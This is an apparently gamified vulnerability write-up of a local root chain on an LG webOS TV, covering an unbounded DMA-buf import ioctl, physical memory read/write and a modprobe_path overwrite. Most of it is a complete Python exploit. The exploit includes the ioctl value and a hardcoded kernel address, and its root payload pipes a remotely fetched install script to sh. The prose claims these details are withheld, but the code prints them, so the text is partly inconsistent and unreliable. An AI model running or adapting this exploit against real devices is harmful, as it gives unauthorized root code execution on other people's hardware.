Grandmaster rank emblem

Lvl 99

Level XP3,807/5,718

3807 of 5718
Grandmaster dreadnaught
Product
LG webOS Smart TV
Affected
65NANO90UNA · webOS 5.6.2
0Footholdprisoner shell1Access/dev/dma_buf_gm2Primitivephys R/W3Priv-escmodprobe_path4Rootroot
1Foothold2Access3Primitive4Priv-esc5Rootprisoner shell1/dev/dma_buf_gm2phys R/W3modprobe_path4root5

Mechanism

The kernel direct map is linear (phys = virt - 0xa0000000, PAGE_OFFSET). An undocumented, unbounded import ioctl on the DMA-buf exporter wraps an attacker-supplied physical page in an mmap-able fd with no bounds or ownership check, so the physical page backing modprobe_path becomes writable. Overwriting it with an attacker script runs as root on the next unknown-binary exec.

How it went

1 · Foothold (prisoner). webOS Developer Mode gives an SSH shell as prisoner, an unprivileged, heavily sandboxed user. The firmware is hardened: USER_NS off, eBPF off, nosuid on every writable mount, AF_PACKET gated on CAP_NET_RAW, no FUSE, every known public root already patched. Enumerated all 237 device nodes for a memory primitive.

2 · Access (/dev/dma_buf_gm). prisoner is in the video group, which can open the DMA-buf exporter. Its documented ioctls only do a page-size query. Static analysis of the driver turned up an undocumented, unbounded import ioctl that takes an attacker-supplied physical address and page count. (Exact command value and struct layout withheld pre-patch.)

3 · Primitive (arbitrary physical R/W). The import path performs no bounds or ownership check on the physical address. It wraps any physical page in a fresh dma-buf fd; mmap() returns a read/write window into arbitrary kernel physical memory. The other memory device (rtkmem) only reaches CMA; this ioctl reaches everything.

4 · Priv-esc (modprobe_path). modprobe_path is a per-build constant, recovered offline from the firmware kernel image (kptr_restrict zeroes /proc/kallsyms for prisoner, so there is no runtime lookup). Reach its direct-map physical page, import and mmap it, confirm it reads /sbin/modprobe, then overwrite with the path to an attacker-controlled script. (Exact address withheld pre-patch.)

5 · Root. Execute a file with an unrecognized binary format. The kernel's module-request path runs modprobe_path as root, now pointed at the script, giving code execution as uid=0. The PoC then restores modprobe_path; clean, no persistence.

PoC

Requires developer mode enabled. Installs WebOsBrew.

#!/usr/bin/env python2
# python lg_poc.py --ip <tv-ip>
# - reads modprobe_path address from /proc/kallsyms
# - imports the kernel .data page via /dev/dma_buf_gm
# - verifies the mapping contains the expected string
# - overwrites modprobe_path with the payload path
# - triggers modprobe, waits for payload execution
# - restores modprobe_path
# - reports results
#
import fcntl, struct, os, sys, array, ctypes, time, random, json

libc = ctypes.CDLL(None, use_errno=True)
libc.mmap.restype = ctypes.c_ulong
libc.mmap.argtypes = [ctypes.c_ulong, ctypes.c_size_t, ctypes.c_int,
                      ctypes.c_int, ctypes.c_int, ctypes.c_long]
libc.munmap.argtypes = [ctypes.c_ulong, ctypes.c_size_t]
libc.memcpy.argtypes = [ctypes.c_ulong, ctypes.c_char_p, ctypes.c_size_t]

PAGE_OFFSET = 0xa0000000
DMA_BUF_DEVICE = "/dev/dma_buf_gm"
DMA_BUF_IMPORT_IOCTL = 0x800c4506
PROT_READ = 1
PROT_WRITE = 2
MAP_SHARED = 1

result = {"status": "unknown", "steps": []}

def step(name, ok, detail=""):
    result["steps"].append({"name": name, "ok": ok, "detail": detail})
    tag = "OK" if ok else "FAIL"
    sys.stderr.write("[%s] %s%s\n" % (tag, name, (" -- " + detail) if detail else ""))
    if not ok:
        result["status"] = "failed"
        sys.stdout.write(json.dumps(result) + "\n")
        sys.exit(1)

if not os.path.exists(DMA_BUF_DEVICE):
    step("check_device", False, "/dev/dma_buf_gm not found")

try:
    test_fd = os.open(DMA_BUF_DEVICE, os.O_RDWR)
    os.close(test_fd)
    step("check_device", True)
except OSError as e:
    step("check_device", False, str(e))

modprobe_virt = None

try:
    with open("/proc/kallsyms") as f:
        for line in f:
            parts = line.strip().split()
            if len(parts) >= 3 and parts[2] == "modprobe_path":
                modprobe_virt = int(parts[0], 16)
                break
except:
    pass

if modprobe_virt is None or modprobe_virt == 0:
    kver = os.uname()[2]
    known = {
        "4.4.84-612.40.jimna.1": 0xa141c320,
    }
    modprobe_virt = known.get(kver)
    if modprobe_virt is None:
        step("find_modprobe", False, "Cannot determine modprobe_path address for kernel " + kver)
    step("find_modprobe", True, "fallback 0x%08x for %s" % (modprobe_virt, kver))
else:
    step("find_modprobe", True, "0x%08x" % modprobe_virt)

modprobe_phys = modprobe_virt - PAGE_OFFSET
page_phys = modprobe_phys & 0xFFFFF000
page_off = modprobe_phys & 0xFFF
fd = os.open(DMA_BUF_DEVICE, os.O_RDWR)
imp = array.array("B", struct.pack("<III", page_phys, 1, 0))

try:
    import_fd = fcntl.ioctl(fd, DMA_BUF_IMPORT_IOCTL, imp, True)
    step("dma_import", True, "fd=%d phys=0x%08x" % (import_fd, page_phys))
except IOError as e:
    step("dma_import", False, str(e))

ptr = libc.mmap(0, 4096, PROT_READ | PROT_WRITE, MAP_SHARED, import_fd, 0)
if ptr in (0, 0xFFFFFFFF):
    step("mmap", False, "errno=%d" % ctypes.get_errno())
step("mmap", True, "0x%08x" % ptr)

current = ctypes.string_at(ptr + page_off, 15)
current_str = current[:current.find("\x00")] if "\x00" in current else current

if current_str != "/sbin/modprobe":
    step("verify", False, "expected '/sbin/modprobe', got '%s'" % current_str)
step("verify", True, current_str)

payload_path = "/tmp/.ar_%d" % random.randint(10000, 99999)
result_path = "/tmp/.ar_result"
hbc_url = "https://raw.githubusercontent.com/webosbrew/webos-homebrew-channel/main/tools/install.sh"
payload = """#!/bin/sh
exec > %s 2>&1
echo "uid=$(id -u)"
curl -L "%s" 2>/dev/null | sh && echo "HBC_OK" || echo "HBC_FAIL"
echo "DONE"
""" % (result_path, hbc_url)

with open(payload_path, "w") as f:
    f.write(payload)
os.chmod(payload_path, 0o755)

trigger_path = "/tmp/.ar_trig_%d" % random.randint(10000, 99999)
with open(trigger_path, "w") as f:
    f.write("\xff\xff\xff\xff")
os.chmod(trigger_path, 0o755)

libc.memcpy(ptr + page_off, payload_path + "\x00", len(payload_path) + 1)

written = ctypes.string_at(ptr + page_off, len(payload_path) + 1)
if written != payload_path + "\x00":
    # Restore immediately
    libc.memcpy(ptr + page_off, "/sbin/modprobe\x00", 15)
    step("overwrite", False, "write verification failed")
step("overwrite", True)

os.system(trigger_path + " 2>/dev/null; true")
time.sleep(8)
libc.memcpy(ptr + page_off, "/sbin/modprobe\x00", 15)
restored = ctypes.string_at(ptr + page_off, 15)
if "/sbin/modprobe" not in restored:
    step("restore", False)
step("restore", True)

libc.munmap(ptr, 4096)
os.close(import_fd)
os.close(fd)

try: os.unlink(trigger_path)
except: pass
try: os.unlink(payload_path)
except: pass

if os.path.exists(result_path):
    with open(result_path) as f:
        payload_output = f.read()
    try: os.unlink(result_path)
    except: pass

    if "uid=0" in payload_output:
        step("root_exec", True)
    else:
        step("root_exec", False, "payload ran but not as root")

    if "HBC_OK" in payload_output:
        step("hbc_install", True)
    elif "HBC_FAIL" in payload_output:
        step("hbc_install", False, "HBC install script failed")
    else:
        step("hbc_install", False, "HBC status unknown")
else:
    step("root_exec", False, "payload did not execute")

result["status"] = "success"
sys.stdout.write(json.dumps(result) + "\n")

What didn't work

  • rtkmem provides RW mmap, but CMA regions only; kernel .data sits in an inaccessible physical gap.
  • Mali /dev/mali0: MEM_ALLOC returned ENOMEM (a struct-layout bug, not a security gate).
  • Remote root: no unauthenticated path; the chain needs the local Developer-Mode foothold.